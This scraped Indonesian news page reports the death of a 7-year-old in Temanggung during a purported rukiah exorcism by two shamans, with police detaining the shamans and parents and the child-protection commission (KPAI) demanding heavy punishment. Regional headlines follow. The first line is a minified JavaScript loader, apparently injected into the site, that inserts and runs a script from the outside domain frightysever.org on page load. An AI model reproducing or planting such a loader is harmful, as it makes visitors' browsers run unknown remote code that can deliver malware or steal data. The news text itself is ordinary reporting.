(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Kasus Anak Dirukiah Sampai Tewas, KPAI: Pelaku Harus Dihukum Berat!


KANALKALIMANTAN.COM, JAKARTA– Sebuah kejadian kekerasan anak yang memilukan terungkap di media sosial.

Seorang anak berusia 7 tahun berinisial A asal Temanggung, Jawa Tengah tewas mengenaskan diduga akibat ritual pembersihan aura negatif yang diklaim sebagai praktik rukiah.

Menurut cerita yang beredar, A meregang nyawa setelah kepalanya dibenamkan ke dalam bak air, untuk ‘mengobati’ perilaku nakalnya yang disebut akibat dari kesurupan genderuwo.

Praktik rukiah ini dilakukan oleh dua orang pemuda yang berprofesi sebagai dukun. Setelah mati lemas, orangtua diberi tahu jika buah hatinya yang telah mati akan hidup kembali.

Kisah ini miris ini terungkap baru-baru ini, padahal menurut cerita, kejadian kematian A sudah terjadi sejak Januari 2021 lalu.

Kini kepolisian Polsek Bejen, Temanggung telah turun tangan, memboyong dan mengamankan kedua dukun beserta kedua orangtua A ke kantor polisi untuk penyelidikan lebih lanjut.

Kekinian, Ketua Komisi Perlindungan Anak (KPAI) Susanto mendorong kepolisian terus mengusut tuntas kasus tersebut secara terang benderang.

KPAI meminta kepolisian untuk mengusut tuntas siapa saja pihak yang terlibat kematian A dan dihukum berat tanpa pandang bulu.

“Bahwa semua pihak siapapun orangnya, apakah pihak keluarga maupun masyarakat (harus bertanggungjawab) melindungi anak Indonesia,” terang Susanto, dalam keterangan yang diterima Suara.com, Rabu (19/5/2021).

Lebih lanjut, Susanto menilai siapapun orangnya termasuk keluarga dan masyarakat tidak ada yang berhak untuk melakukan kekerasan atau pelanggaran terhadap anak Indonesia.

“Tentu menjadi pembelajaran semua pihak karena setiap anak Indonesia harus dilindungi dan tidak boleh ada siapapun, yang dapat melakukan tindakan pelanggaran terhadap anak,” pungkas Susanto. (suara)

Editor: cell

 

 


Al Ghifari

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

3 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

6 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

6 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

10 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

11 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

12 jam ago

This website uses cookies.